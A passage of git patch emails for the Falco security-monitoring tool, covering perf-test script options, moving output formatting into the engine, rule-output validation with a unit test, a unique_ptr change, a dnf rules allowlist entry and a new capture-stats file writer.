== *"falco"* ]]; then + echo " starting falco..." + if [ -z $RULES_FILE ]; then + RULES_FILE=$SOURCE/rules/falco_rules.yaml + fi + sudo $ROOT/userspace/falco/falco -c $SOURCE/falco.yaml -r $RULES_FILE --option=stdout_output.enabled=false > ./prog-output.txt -A 2>&1 & elif [[ $ROOT == *"sysdig"* ]]; then + echo " starting sysdig..." sudo $ROOT/userspace/sysdig/sysdig -N -z evt.type=none & else + echo " starting agent..." write_agent_config pushd $ROOT/userspace/dragent sudo ./dragent > ./prog-output.txt 2>&1 & @@ -180,8 +195,8 @@ function run_juttle_examples() { function run_kubernetes_demo() { pushd $SCRIPTDIR/../../infrastructure/test-infrastructures/kubernetes-demo - bash run-local.sh - bash init.sh + sudo bash run-local.sh + sudo bash init.sh sleep 600 docker stop $(docker ps -qa) docker rm -fv $(docker ps -qa) @@ -306,8 +321,10 @@ usage() { echo " -h/--help: show this help" echo " -v/--variant: a variant name to attach to this set of test results" echo " -r/--root: root directory containing falco/sysdig binaries (i.e. where you ran 'cmake')" + echo " -s/--source: root directory containing falco/sysdig source code" echo " -R/--results: append test results to this file" echo " -o/--output: append program output to this file" + echo " -U/--rules: path to rules file (only applicable for falco/test_mm)" echo " -t/--test: test to run. Argument has the following format:" echo " trace:: read the specified trace file." echo " trace:all means run all traces" @@ -325,7 +342,7 @@ usage() { echo " -F/--falco-agent: When running an agent, whether or not to enable falco" } -OPTS=`getopt -o hv:r:R:o:t:T: --long help,variant:,root:,results:,output:,test:,tracedir:,agent-autodrop:,falco-agent: -n $0 -- "$@"` +OPTS=`getopt -o hv:r:s:R:o:U:t:T: --long help,variant:,root:,source:,results:,output:,rules:,test:,tracedir:,agent-autodrop:,falco-agent: -n $0 -- "$@"` if [ $? != 0 ]; then echo "Exiting" >&2 @@ -336,9 +353,11 @@ eval set -- "$OPTS" VARIANT="falco" ROOT=`dirname $0`/../build +SOURCE=$ROOT SCRIPTDIR=`dirname $0` RESULTS_FILE=`dirname $0`/results.json OUTPUT_FILE=`dirname $0`/program-output.txt +RULES_FILE= TEST=trace:all TRACEDIR=/tmp/falco-perf-traces.$USER CPU_INTERVAL=10 @@ -350,8 +369,10 @@ while true; do -h | --help ) usage; exit 1;; -v | --variant ) VARIANT="$2"; shift 2;; -r | --root ) ROOT="$2"; shift 2;; + -s | --source ) SOURCE="$2"; shift 2;; -R | --results ) RESULTS_FILE="$2"; shift 2;; -o | --output ) OUTPUT_FILE="$2"; shift 2;; + -U | --rules ) RULES_FILE="$2"; shift 2;; -t | --test ) TEST="$2"; shift 2;; -T | --tracedir ) TRACEDIR="$2"; shift 2;; -A | --agent-autodrop ) AGENT_AUTODROP="$2"; shift 2;; @@ -372,6 +393,12 @@ fi ROOT=`realpath $ROOT` +if [ -z $SOURCE ]; then + echo "A source directory containing falco/sysdig source code. Not continuing." + exit 1 +fi + +SOURCE=`realpath $SOURCE` if [ -z $RESULTS_FILE ]; then echo "An output file for test results must be provided. Not continuing." From 2961eb4d21feaf0f7510fb93f8f26cdb0a675446 Mon Sep 17 00:00:00 2001 From: Mark Stemm Date: Mon, 28 Nov 2016 11:31:36 -0800 Subject: [PATCH 45/63] Move container.info handling to falco engine. container.info handling used to be handled by the the falco_outputs object. However, this caused problems for applications that only used the falco engine, doing their own output formatting for matching events. Fix this by moving output formatting into the falco engine itself. The part that replaces %container.info/adds extra formatting to the end of a rule's output now happens while loading the rule. --- userspace/engine/falco_engine.cpp | 11 ++++++-- userspace/engine/falco_engine.h | 13 ++++++++++ userspace/engine/lua/rule_loader.lua | 26 ++++++++++++++++++- userspace/engine/rules.cpp | 8 ++++-- userspace/engine/rules.h | 3 ++- userspace/falco/falco.cpp | 2 +- userspace/falco/falco_outputs.cpp | 39 +--------------------------- userspace/falco/falco_outputs.h | 4 --- 8 files changed, 57 insertions(+), 49 deletions(-) diff --git a/userspace/engine/falco_engine.cpp b/userspace/engine/falco_engine.cpp index e7dfcacc..910a73b9 100644 --- a/userspace/engine/falco_engine.cpp +++ b/userspace/engine/falco_engine.cpp @@ -38,7 +38,8 @@ string lua_print_stats = "print_stats"; using namespace std; falco_engine::falco_engine(bool seed_rng) - : m_rules(NULL), m_sampling_ratio(1), m_sampling_multiplier(0) + : m_rules(NULL), m_sampling_ratio(1), m_sampling_multiplier(0), + m_replace_container_info(false) { luaopen_lpeg(m_ls); luaopen_yaml(m_ls); @@ -72,7 +73,7 @@ void falco_engine::load_rules(const string &rules_content, bool verbose, bool al { m_rules = new falco_rules(m_inspector, this, m_ls); } - m_rules->load_rules(rules_content, verbose, all_events); + m_rules->load_rules(rules_content, verbose, all_events, m_extra, m_replace_container_info); } void falco_engine::load_rules_file(const string &rules_filename, bool verbose, bool all_events) @@ -184,6 +185,12 @@ void falco_engine::set_sampling_multiplier(double sampling_multiplier) m_sampling_multiplier = sampling_multiplier; } +void falco_engine::set_extra(string &extra, bool replace_container_info) +{ + m_extra = extra; + m_replace_container_info = replace_container_info; +} + inline bool falco_engine::should_drop_evt() { if(m_sampling_multiplier == 0) diff --git a/userspace/engine/falco_engine.h b/userspace/engine/falco_engine.h index 7b6c0971..5820c570 100644 --- a/userspace/engine/falco_engine.h +++ b/userspace/engine/falco_engine.h @@ -96,6 +96,16 @@ public: // void set_sampling_multiplier(double sampling_multiplier); + // + // You can optionally add "extra" formatting fields to the end + // of all output expressions. You can also choose to replace + // %container.info with the extra information or add it to the + // end of the expression. This is used in open source falco to + // add k8s/mesos/container information to outputs when + // available. + // + void set_extra(string &extra, bool replace_container_info); + private: // @@ -132,5 +142,8 @@ private: double m_sampling_multiplier; std::string m_lua_main_filename = "rule_loader.lua"; + + std::string m_extra; + bool m_replace_container_info; }; diff --git a/userspace/engine/lua/rule_loader.lua b/userspace/engine/lua/rule_loader.lua index 837b73ec..fde97fa3 100644 --- a/userspace/engine/lua/rule_loader.lua +++ b/userspace/engine/lua/rule_loader.lua @@ -162,7 +162,7 @@ function table.tostring( tbl ) end -function load_rules(rules_content, rules_mgr, verbose, all_events) +function load_rules(rules_content, rules_mgr, verbose, all_events, extra, replace_container_info) compiler.set_verbose(verbose) compiler.set_all_events(all_events) @@ -257,6 +257,30 @@ function load_rules(rules_content, rules_mgr, verbose, all_events) if (v['enabled'] == false) then falco_rules.enable_rule(rules_mgr, v['rule'], 0) end + + -- If the format string contains %container.info, replace it + -- with extra. Otherwise, add extra onto the end of the format + -- string. + if string.find(v['output'], "%container.info", nil, true) ~= nil then + + -- There may not be any extra, or we're not supposed + -- to replace it, in which case we use the generic + -- "%container.name (id=%container.id)" + if replace_container_info == false then + v['output'] = string.gsub(v['output'], "%%container.info", "%%container.name (id=%%container.id)") + if extra ~= "" then + v['output'] = v['output'].." "..extra + end + else + safe_extra = string.gsub(extra, "%%", "%%%%") + v['output'] = string.gsub(v['output'], "%%container.info", safe_extra) + end + else + -- Just add the extra to the end + if extra ~= "" then + v['output'] = v['output'].." "..extra + end + end else error ("Unexpected type in load_rule: "..filter_ast.type) end diff --git a/userspace/engine/rules.cpp b/userspace/engine/rules.cpp index 8b14a1c3..75bdfa08 100644 --- a/userspace/engine/rules.cpp +++ b/userspace/engine/rules.cpp @@ -108,7 +108,9 @@ void falco_rules::enable_rule(string &rule, bool enabled) m_engine->enable_rule(rule, enabled); } -void falco_rules::load_rules(const string &rules_content, bool verbose, bool all_events) +void falco_rules::load_rules(const string &rules_content, + bool verbose, bool all_events, + string &extra, bool replace_container_info) { lua_getglobal(m_ls, m_lua_load_rules.c_str()); if(lua_isfunction(m_ls, -1)) @@ -182,7 +184,9 @@ void falco_rules::load_rules(const string &rules_content, bool verbose, bool all lua_pushlightuserdata(m_ls, this); lua_pushboolean(m_ls, (verbose ? 1 : 0)); lua_pushboolean(m_ls, (all_events ? 1 : 0)); - if(lua_pcall(m_ls, 4, 0, 0) != 0) + lua_pushstring(m_ls, extra.c_str()); + lua_pushboolean(m_ls, (replace_container_info ? 1 : 0)); + if(lua_pcall(m_ls, 6, 0, 0) != 0) { const char* lerr = lua_tostring(m_ls, -1); string err = "Error loading rules:" + string(lerr); diff --git a/userspace/engine/rules.h b/userspace/engine/rules.h index da2e7b06..d81fa405 100644 --- a/userspace/engine/rules.h +++ b/userspace/engine/rules.h @@ -31,7 +31,8 @@ class falco_rules public: falco_rules(sinsp* inspector, falco_engine *engine, lua_State *ls); ~falco_rules(); - void load_rules(const string &rules_content, bool verbose, bool all_events); + void load_rules(const string &rules_content, bool verbose, bool all_events, + std::string &extra, bool replace_container_info); void describe_rule(string *rule); static void init(lua_State *ls); diff --git a/userspace/falco/falco.cpp b/userspace/falco/falco.cpp index b7c9d150..eee175e9 100644 --- a/userspace/falco/falco.cpp +++ b/userspace/falco/falco.cpp @@ -337,10 +337,10 @@ int falco_init(int argc, char **argv) inspector = new sinsp(); engine = new falco_engine(); engine->set_inspector(inspector); + engine->set_extra(output_format, replace_container_info); outputs = new falco_outputs(); outputs->set_inspector(inspector); - outputs->set_extra(output_format, replace_container_info); // Some combinations of arguments are not allowed. if (daemon && pidfilename == "") { diff --git a/userspace/falco/falco_outputs.cpp b/userspace/falco/falco_outputs.cpp index 545ade75..03f6b8a7 100644 --- a/userspace/falco/falco_outputs.cpp +++ b/userspace/falco/falco_outputs.cpp @@ -27,7 +27,6 @@ along with falco. If not, see . using namespace std; falco_outputs::falco_outputs() - : m_replace_container_info(false) { } @@ -52,12 +51,6 @@ void falco_outputs::init(bool json_output) falco_logger::init(m_ls); } -void falco_outputs::set_extra(string &extra, bool replace_container_info) -{ - m_extra = extra; - m_replace_container_info = replace_container_info; -} - void falco_outputs::add_output(output_config oc) { uint8_t nargs = 1; @@ -94,42 +87,12 @@ void falco_outputs::handle_event(sinsp_evt *ev, string &level, string &priority, { lua_getglobal(m_ls, m_lua_output_event.c_str()); - // If the format string contains %container.info, replace it - // with extra. Otherwise, add extra onto the end of the format - // string. - string format_w_extra = format; - size_t pos; - - if((pos = format_w_extra.find("%container.info")) != string::npos) - { - // There may not be any extra, or we're not supposed - // to replace it, in which case we use the generic - // "%container.name (id=%container.id)" - if(m_extra == "" || ! m_replace_container_info) - { - // 15 == strlen(%container.info) - format_w_extra.replace(pos, 15, "%container.name (id=%container.id)"); - } - else - { - format_w_extra.replace(pos, 15, m_extra); - } - } - else - { - // Just add the extra to the end - if (m_extra != "") - { - format_w_extra += " " + m_extra; - } - } - if(lua_isfunction(m_ls, -1)) { lua_pushlightuserdata(m_ls, ev); lua_pushstring(m_ls, level.c_str()); lua_pushstring(m_ls, priority.c_str()); - lua_pushstring(m_ls, format_w_extra.c_str()); + lua_pushstring(m_ls, format.c_str()); if(lua_pcall(m_ls, 4, 0, 0) != 0) { diff --git a/userspace/falco/falco_outputs.h b/userspace/falco/falco_outputs.h index 1f13f653..247d837c 100644 --- a/userspace/falco/falco_outputs.h +++ b/userspace/falco/falco_outputs.h @@ -44,8 +44,6 @@ public: void add_output(output_config oc); - void set_extra(string &extra, bool replace_container_info); - // // ev is an event that has matched some rule. Pass the event // to all configured outputs. @@ -56,6 +54,4 @@ private: std::string m_lua_add_output = "add_output"; std::string m_lua_output_event = "output_event"; std::string m_lua_main_filename = "output.lua"; - std::string m_extra; - bool m_replace_container_info; }; From 064b39f2be358e83db5ed636b8631d5e6c74dcb0 Mon Sep 17 00:00:00 2001 From: Mark Stemm Date: Mon, 28 Nov 2016 14:39:17 -0800 Subject: [PATCH 46/63] Validate rule outputs when loading rules. Validate rule outputs when loading rules by attempting to create a formatter based on the rule's output field. If there's an error, it will propagate up through load_rules and cause falco to exit rather than discover the problem only when trying to format the event and the rule's output field. This required moving formats.{cpp,h} into the falco engine directory from the falco general directory. Note that these functions are loaded twice in the two lua states used by falco (engine and outputs). There's also a couple of minor cleanups: - falco_formats had a private instance variable that was unused, remove it. - rename the package for the falco_formats functions to formats instead of falco so it's more standalone. - don't throw a c++ exception in falco_formats::formatter. Instead generate a lua error, which is handled more cleanly. - free_formatter doesn't return any values, so set the return value of the function to 0. --- userspace/engine/CMakeLists.txt | 2 +- userspace/engine/falco_engine.cpp | 11 +++++++++++ userspace/{falco => engine}/formats.cpp | 8 ++++---- userspace/{falco => engine}/formats.h | 3 --- userspace/engine/lua/rule_loader.lua | 6 ++++++ userspace/falco/CMakeLists.txt | 2 +- userspace/falco/falco_outputs.cpp | 3 +++ userspace/falco/lua/output.lua | 6 +++--- 8 files changed, 29 insertions(+), 12 deletions(-) rename userspace/{falco => engine}/formats.cpp (94%) rename userspace/{falco => engine}/formats.h (97%) diff --git a/userspace/engine/CMakeLists.txt b/userspace/engine/CMakeLists.txt index dfc85495..96ec10a7 100644 --- a/userspace/engine/CMakeLists.txt +++ b/userspace/engine/CMakeLists.txt @@ -4,7 +4,7 @@ include_directories("${PROJECT_SOURCE_DIR}/../sysdig/userspace/libsinsp") include_directories("${PROJECT_BINARY_DIR}/userspace/engine") include_directories("${LUAJIT_INCLUDE}") -add_library(falco_engine STATIC rules.cpp falco_common.cpp falco_engine.cpp) +add_library(falco_engine STATIC rules.cpp falco_common.cpp falco_engine.cpp formats.cpp) target_include_directories(falco_engine PUBLIC "${LUAJIT_INCLUDE}") diff --git a/userspace/engine/falco_engine.cpp b/userspace/engine/falco_engine.cpp index 910a73b9..4fabf681 100644 --- a/userspace/engine/falco_engine.cpp +++ b/userspace/engine/falco_engine.cpp @@ -24,6 +24,8 @@ along with falco. If not, see . #include "falco_engine.h" #include "config_falco_engine.h" +#include "formats.h" + extern "C" { #include "lpeg.h" #include "lyaml.h" @@ -73,6 +75,15 @@ void falco_engine::load_rules(const string &rules_content, bool verbose, bool al { m_rules = new falco_rules(m_inspector, this, m_ls); } + + // Note that falco_formats is added to both the lua state used + // by the falco engine as well as the separate lua state used + // by falco outputs. Within the engine, only + // formats.formatter is used, so we can unconditionally set + // json_output to false. + bool json_output = false; + falco_formats::init(m_inspector, m_ls, json_output); + m_rules->load_rules(rules_content, verbose, all_events, m_extra, m_replace_container_info); } diff --git a/userspace/falco/formats.cpp b/userspace/engine/formats.cpp similarity index 94% rename from userspace/falco/formats.cpp rename to userspace/engine/formats.cpp index d3ef1f00..625f9cbf 100644 --- a/userspace/falco/formats.cpp +++ b/userspace/engine/formats.cpp @@ -39,7 +39,7 @@ void falco_formats::init(sinsp* inspector, lua_State *ls, bool json_output) s_inspector = inspector; s_json_output = json_output; - luaL_openlib(ls, "falco", ll_falco, 0); + luaL_openlib(ls, "formats", ll_falco, 0); } int falco_formats::formatter(lua_State *ls) @@ -52,7 +52,7 @@ int falco_formats::formatter(lua_State *ls) } catch(sinsp_exception& e) { - throw falco_exception("Invalid output format '" + format + "'.\n"); + luaL_error(ls, "Invalid output format '%s': '%s'", format.c_str(), e.what()); } lua_pushlightuserdata(ls, formatter); @@ -64,14 +64,14 @@ int falco_formats::free_formatter(lua_State *ls) { if (!lua_islightuserdata(ls, -1)) { - throw falco_exception("Invalid argument passed to free_formatter"); + luaL_error(ls, "Invalid argument passed to free_formatter"); } sinsp_evt_formatter *formatter = (sinsp_evt_formatter *) lua_topointer(ls, 1); delete(formatter); - return 1; + return 0; } int falco_formats::format_event (lua_State *ls) diff --git a/userspace/falco/formats.h b/userspace/engine/formats.h similarity index 97% rename from userspace/falco/formats.h rename to userspace/engine/formats.h index 83a3609c..e5a2781a 100644 --- a/userspace/falco/formats.h +++ b/userspace/engine/formats.h @@ -43,7 +43,4 @@ class falco_formats static int format_event(lua_State *ls); static sinsp* s_inspector; - - private: - lua_State* m_ls; }; diff --git a/userspace/engine/lua/rule_loader.lua b/userspace/engine/lua/rule_loader.lua index fde97fa3..174bfd18 100644 --- a/userspace/engine/lua/rule_loader.lua +++ b/userspace/engine/lua/rule_loader.lua @@ -281,6 +281,12 @@ function load_rules(rules_content, rules_mgr, verbose, all_events, extra, replac v['output'] = v['output'].." "..extra end end + + -- Ensure that the output field is properly formatted by + -- creating a formatter from it. Any error will be thrown + -- up to the top level. + formatter = formats.formatter(v['output']) + formats.free_formatter(formatter) else error ("Unexpected type in load_rule: "..filter_ast.type) end diff --git a/userspace/falco/CMakeLists.txt b/userspace/falco/CMakeLists.txt index 9111bcfa..41988076 100644 --- a/userspace/falco/CMakeLists.txt +++ b/userspace/falco/CMakeLists.txt @@ -9,7 +9,7 @@ include_directories("${CURL_INCLUDE_DIR}") include_directories("${YAMLCPP_INCLUDE_DIR}") include_directories("${DRAIOS_DEPENDENCIES_DIR}/yaml-${DRAIOS_YAML_VERSION}/target/include") -add_executable(falco configuration.cpp formats.cpp logger.cpp falco_outputs.cpp falco.cpp) +add_executable(falco configuration.cpp logger.cpp falco_outputs.cpp falco.cpp) target_link_libraries(falco falco_engine sinsp) target_link_libraries(falco diff --git a/userspace/falco/falco_outputs.cpp b/userspace/falco/falco_outputs.cpp index 03f6b8a7..f77eb802 100644 --- a/userspace/falco/falco_outputs.cpp +++ b/userspace/falco/falco_outputs.cpp @@ -46,6 +46,9 @@ void falco_outputs::init(bool json_output) falco_common::init(m_lua_main_filename.c_str(), FALCO_SOURCE_LUA_DIR); + // Note that falco_formats is added to both the lua state used + // by the falco engine as well as the separate lua state used + // by falco outputs. falco_formats::init(m_inspector, m_ls, json_output); falco_logger::init(m_ls); diff --git a/userspace/falco/lua/output.lua b/userspace/falco/lua/output.lua index bd757916..e2ec0127 100644 --- a/userspace/falco/lua/output.lua +++ b/userspace/falco/lua/output.lua @@ -75,14 +75,14 @@ end function output_event(event, rule, priority, format) local level = level_of(priority) format = "*%evt.time: "..levels[level+1].." "..format - formatter = falco.formatter(format) - msg = falco.format_event(event, rule, levels[level+1], formatter) + formatter = formats.formatter(format) + msg = formats.format_event(event, rule, levels[level+1], formatter) for index,o in ipairs(outputs) do o.output(level, msg, o.config) end - falco.free_formatter(formatter) + formats.free_formatter(formatter) end function add_output(output_name, config) From ded3ee5bed01877396a9ad4755770e96506bae46 Mon Sep 17 00:00:00 2001 From: Mark Stemm Date: Mon, 28 Nov 2016 14:41:20 -0800 Subject: [PATCH 47/63] Add unit test for rule with invalid output. Add the ability to check falco's return code with exit_status and to generally match stderr with stderr_contains in a test. Use those to create a test that has an invalid output expression using %not_a_real_field. It expects falco to exit with 1 and the output to contain a message about the invalid output. --- test/falco_test.py | 15 +++++++++++++-- test/falco_tests.yaml.in | 7 +++++++ test/rules/invalid_rule_output.yaml | 5 +++++ 3 files changed, 25 insertions(+), 2 deletions(-) create mode 100644 test/rules/invalid_rule_output.yaml diff --git a/test/falco_test.py b/test/falco_test.py index 2c0131c7..079723ce 100644 --- a/test/falco_test.py +++ b/test/falco_test.py @@ -17,6 +17,8 @@ class FalcoTest(Test): """ self.falcodir = self.params.get('falcodir', '/', default=os.path.join(self.basedir, '../build')) + self.stderr_contains = self.params.get('stderr_contains', '*', default='') + self.exit_status = self.params.get('exit_status', '*', default=0) self.should_detect = self.params.get('detect', '*', default=False) self.trace_file = self.params.get('trace_file', '*') @@ -197,9 +199,18 @@ class FalcoTest(Test): res = self.falco_proc.run(timeout=180, sig=9) + if self.stderr_contains != '': + match = re.search(self.stderr_contains, res.stderr) + if match is None: + self.fail("Stderr of falco process did not contain content matching {}".format(self.stderr_contains)) + + if res.exit_status != self.exit_status: + self.error("Falco command \"{}\" exited with unexpected return value {} (!= {})".format( + cmd, res.exit_status, self.exit_status)) + + # No need to check any outputs if the falco process exited abnormally. if res.exit_status != 0: - self.error("Falco command \"{}\" exited with non-zero return value {}".format( - cmd, res.exit_status)) + return self.check_rules_warnings(res) if len(self.rules_events) > 0: diff --git a/test/falco_tests.yaml.in b/test/falco_tests.yaml.in index 69447004..37fe61d3 100644 --- a/test/falco_tests.yaml.in +++ b/test/falco_tests.yaml.in @@ -95,6 +95,13 @@ trace_files: !mux - rules/double_rule.yaml trace_file: trace_files/cat_write.scap + invalid_rule_output: + exit_status: 1 + stderr_contains: "Runtime error: Error loading rules:.* Invalid output format 'An open was seen %not_a_real_field': 'invalid formatting token not_a_real_field'. Exiting." + rules_file: + - rules/invalid_rule_output.yaml + trace_file: trace_files/cat_write.scap + disabled_rules: detect: False rules_file: diff --git a/test/rules/invalid_rule_output.yaml b/test/rules/invalid_rule_output.yaml new file mode 100644 index 00000000..91c15cd3 --- /dev/null +++ b/test/rules/invalid_rule_output.yaml @@ -0,0 +1,5 @@ +- rule: rule_with_invalid_output + desc: A rule with an invalid output field + condition: evt.type=open + output: "An open was seen %not_a_real_field" + priority: WARNING \ No newline at end of file From b3c691e92038ea369dea41d80b51d001a5eddaa2 Mon Sep 17 00:00:00 2001 From: Mark Stemm Date: Thu, 1 Dec 2016 09:29:17 -0800 Subject: [PATCH 48/63] Prevent rule_result from leaking on error. Change falco_engine::process_event to return a unique_ptr that wraps the rule result, so it won't be leaked if this method throws an exception. This means that callers don't need to create their own. --- userspace/engine/falco_engine.cpp | 8 ++++---- userspace/engine/falco_engine.h | 2 +- userspace/falco/falco.cpp | 3 +-- 3 files changed, 6 insertions(+), 7 deletions(-) diff --git a/userspace/engine/falco_engine.cpp b/userspace/engine/falco_engine.cpp index 4fabf681..3155b7a7 100644 --- a/userspace/engine/falco_engine.cpp +++ b/userspace/engine/falco_engine.cpp @@ -110,20 +110,20 @@ void falco_engine::enable_rule(string &pattern, bool enabled) m_evttype_filter.enable(pattern, enabled); } -falco_engine::rule_result *falco_engine::process_event(sinsp_evt *ev) +unique_ptr falco_engine::process_event(sinsp_evt *ev) { if(should_drop_evt()) { - return NULL; + return unique_ptr(); } if(!m_evttype_filter.run(ev)) { - return NULL; + return unique_ptr(); } - struct rule_result *res = new rule_result(); + unique_ptr res(new rule_result()); lua_getglobal(m_ls, lua_on_event.c_str()); diff --git a/userspace/engine/falco_engine.h b/userspace/engine/falco_engine.h index 5820c570..c540429e 100644 --- a/userspace/engine/falco_engine.h +++ b/userspace/engine/falco_engine.h @@ -63,7 +63,7 @@ public: // the rule that matched. If no rule matched, returns NULL. // // the reutrned rule_result is allocated and must be delete()d. - rule_result *process_event(sinsp_evt *ev); + std::unique_ptr process_event(sinsp_evt *ev); // // Print details on the given rule. If rule is NULL, print diff --git a/userspace/falco/falco.cpp b/userspace/falco/falco.cpp index eee175e9..e15bf2b2 100644 --- a/userspace/falco/falco.cpp +++ b/userspace/falco/falco.cpp @@ -171,11 +171,10 @@ uint64_t do_inspect(falco_engine *engine, // engine, which will match the event against the set // of rules. If a match is found, pass the event to // the outputs. - falco_engine::rule_result *res = engine->process_event(ev); + unique_ptr res = engine->process_event(ev); if(res) { outputs->handle_event(res->evt, res->rule, res->priority, res->format); - delete(res); } num_evts++; From a8662c60da05a47b3fc3562b87b7c07719669055 Mon Sep 17 00:00:00 2001 From: Daniel Cross Date: Fri, 2 Dec 2016 11:52:08 +1100 Subject: [PATCH 49/63] Adding DNF as non-alerting for RPM and package management falco-CLA-1.0-signed-off-by: Daniel Cross --- rules/falco_rules.yaml | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/rules/falco_rules.yaml b/rules/falco_rules.yaml index a9ab58bd..b554c9f5 100644 --- a/rules/falco_rules.yaml +++ b/rules/falco_rules.yaml @@ -116,7 +116,7 @@ # The truncated dpkg-preconfigu is intentional, process names are # truncated at the sysdig level. - list: package_mgmt_binaries - items: [dpkg, dpkg-preconfigu, rpm, rpmkey, yum, frontend] + items: [dpkg, dpkg-preconfigu, dnf, rpm, rpmkey, yum, frontend] - macro: package_mgmt_procs condition: proc.name in (package_mgmt_binaries) @@ -236,7 +236,7 @@ # Only let rpm-related programs write to the rpm database - rule: Write below rpm database desc: an attempt to write to the rpm database by any non-rpm related program - condition: fd.name startswith /var/lib/rpm and open_write and not proc.name in (rpm,rpmkey,yum) + condition: fd.name startswith /var/lib/rpm and open_write and not proc.name in (dnf,rpm,rpmkey,yum) output: "Rpm database opened for writing by a non-rpm program (command=%proc.cmdline file=%fd.name)" priority: WARNING From 212fd9353e9a95aacbb6df9047bc5ac63e9901b9 Mon Sep 17 00:00:00 2001 From: Luca Marturana Date: Fri, 2 Dec 2016 16:13:37 +0100 Subject: [PATCH 50/63] Push formatter on lua stack only if does not throw exceptions --- userspace/engine/formats.cpp | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) diff --git a/userspace/engine/formats.cpp b/userspace/engine/formats.cpp index 625f9cbf..7be6eaab 100644 --- a/userspace/engine/formats.cpp +++ b/userspace/engine/formats.cpp @@ -49,14 +49,13 @@ int falco_formats::formatter(lua_State *ls) try { formatter = new sinsp_evt_formatter(s_inspector, format); + lua_pushlightuserdata(ls, formatter); } catch(sinsp_exception& e) { luaL_error(ls, "Invalid output format '%s': '%s'", format.c_str(), e.what()); } - lua_pushlightuserdata(ls, formatter); - return 1; } From d1d0dbdbdec704043dc016c149ddd8a031d23564 Mon Sep 17 00:00:00 2001 From: Mark Stemm Date: Mon, 5 Dec 2016 10:11:41 -0800 Subject: [PATCH 51/63] Add ability to write capture stats to a file. With -s, periodically fetch capture stats from the inspector and write them to the provided file. Separate class StatsFileWriter handles the details. It does rely on a timer + SIGALRM handler so you can only practically create a single object, but it does keep the code/state separate. The output format has a sample number, the set of current stats, a delta with the difference from the prior sample, and the percentage of events dropped during that sample. --- userspace/falco/CMakeLists.txt | 2 +- userspace/falco/falco.cpp | 28 ++++++++- userspace/falco/statsfilewriter.cpp | 90 +++++++++++++++++++++++++++++ userspace/falco/statsfilewriter.h | 30 ++++++++++ 4 files changed, 146 insertions(+), 4 deletions(-) create mode 100644 userspace/falco/statsfilewriter.cpp create mode 100644 userspace/falco/statsfilewriter.h diff --git a/userspace/falco/CMakeLists.txt b/userspace/falco/CMakeLists.txt index 41988076..9314d051 100644 --- a/userspace/falco/CMakeLists.txt +++ b/userspace/falco/CMakeLists.txt @@ -9,7 +9,7 @@ include_directories("${CURL_INCLUDE_DIR}") include_directories("${YAMLCPP_INCLUDE_DIR}") include_directories("${DRAIOS_DEPENDENCIES_DIR}/yaml-${DRAIOS_YAML_VERSION}/target/include") -add_executable(falco configuration.cpp logger.cpp falco_outputs.cpp falco.cpp) +add_executable(falco configuration.cpp logger.cpp falco_outputs.cpp statsfilewriter.cpp falco.cpp) target_link_libraries(falco falco_engine sinsp) target_link_libraries(falco diff --git a/userspace/falco/falco.cpp b/userspace/falco/falco.cpp index e15bf2b2..b55b2c6a 100644 --- a/userspace/falco/falco.cpp +++ b/userspace/falco/falco.cpp @@ -36,6 +36,7 @@ along with falco. If not, see . #include "configuration.h" #include "falco_engine.h" #include "config_falco.h" +#include "statsfilewriter.h" bool g_terminate = false; // @@ -97,6 +98,8 @@ static void usage() " -P, --pidfile When run as a daemon, write pid to specified file\n" " -r Rules file (defaults to value set in configuration file, or /etc/falco_rules.yaml).\n" " Can be specified multiple times to read from multiple files.\n" + " -s If specified, write statistics related to falco's reading/processing of events\n" + " to this file. (Only useful in live mode).\n" " -v Verbose output.\n" "\n" ); @@ -124,11 +127,23 @@ std::list cmdline_options; // uint64_t do_inspect(falco_engine *engine, falco_outputs *outputs, - sinsp* inspector) + sinsp* inspector, + string &stats_filename) { uint64_t num_evts = 0; int32_t res; sinsp_evt* ev; + StatsFileWriter writer; + + if (stats_filename != "") + { + string errstr; + + if (!writer.init(inspector, stats_filename, 5, errstr)) + { + throw falco_exception(errstr); + } + } // // Loop through the events @@ -138,6 +153,8 @@ uint64_t do_inspect(falco_engine *engine, res = inspector->next(&ev); + writer.handle(); + if (g_terminate) { break; @@ -202,6 +219,7 @@ int falco_init(int argc, char **argv) string pidfilename = "/var/run/falco.pid"; bool describe_all_rules = false; string describe_rule = ""; + string stats_filename = ""; bool verbose = false; bool all_events = false; string* k8s_api = 0; @@ -246,7 +264,7 @@ int falco_init(int argc, char **argv) // Parse the args // while((op = getopt_long(argc, argv, - "hc:AdD:e:k:K:Ll:m:o:P:p:r:vw:", + "hc:AdD:e:k:K:Ll:m:o:P:p:r:s:vw:", long_options, &long_index)) != -1) { switch(op) @@ -318,6 +336,9 @@ int falco_init(int argc, char **argv) case 'r': rules_filenames.push_back(optarg); break; + case 's': + stats_filename = optarg; + break; case 'v': verbose = true; break; @@ -588,7 +609,8 @@ int falco_init(int argc, char **argv) num_evts = do_inspect(engine, outputs, - inspector); + inspector, + stats_filename); duration = ((double)clock()) / CLOCKS_PER_SEC - duration; diff --git a/userspace/falco/statsfilewriter.cpp b/userspace/falco/statsfilewriter.cpp new file mode 100644 index 00000000..e50032b5 --- /dev/null +++ b/userspace/falco/statsfilewriter.cpp @@ -0,0 +1,90 @@ +#include +#include + +#include "statsfilewriter.h" + +using namespace std; + +static bool g_save_stats = false; +static void timer_handler (int signum) +{ + g_save_stats = true; +} + +StatsFileWriter::StatsFileWriter() + : m_num_stats(0), m_inspector(NULL) +{ +} + +StatsFileWriter::~StatsFileWriter() +{ + m_output.close(); +} + +bool StatsFileWriter::init(sinsp *inspector, string &filename, uint32_t interval_sec, string &errstr) +{ + struct itimerval timer; + struct sigaction handler; + + m_inspector = inspector; + + m_output.exceptions ( ofstream::failbit | ofstream::badbit ); + m_output.open(filename, ios_base::app); + + memset (&handler, 0, sizeof (handler)); + handler.sa_handler = &timer_handler; + if (sigaction(SIGALRM, &handler, NULL) == -1) + { + errstr = string("Could not set up signal handler for periodic timer: ") + strerror(errno); + return false; + } + + timer.it_value.tv_sec = interval_sec; + timer.it_value.tv_usec = 0; + timer.it_interval = timer.it_value; + if (setitimer(ITIMER_REAL, &timer, NULL) == -1) + { + errstr = string("Could not set up periodic timer: ") + strerror(errno); + return false; + } + + return true; +} + +void StatsFileWriter::handle() +{ + if (g_save_stats) + { + scap_stats cstats; + scap_stats delta; + + g_save_stats = false; + m_num_stats++; + m_inspector->get_capture_stats(&cstats); + + if(m_num_stats == 1) + { + delta = cstats; + } + else + { + delta.n_evts = cstats.n_evts - 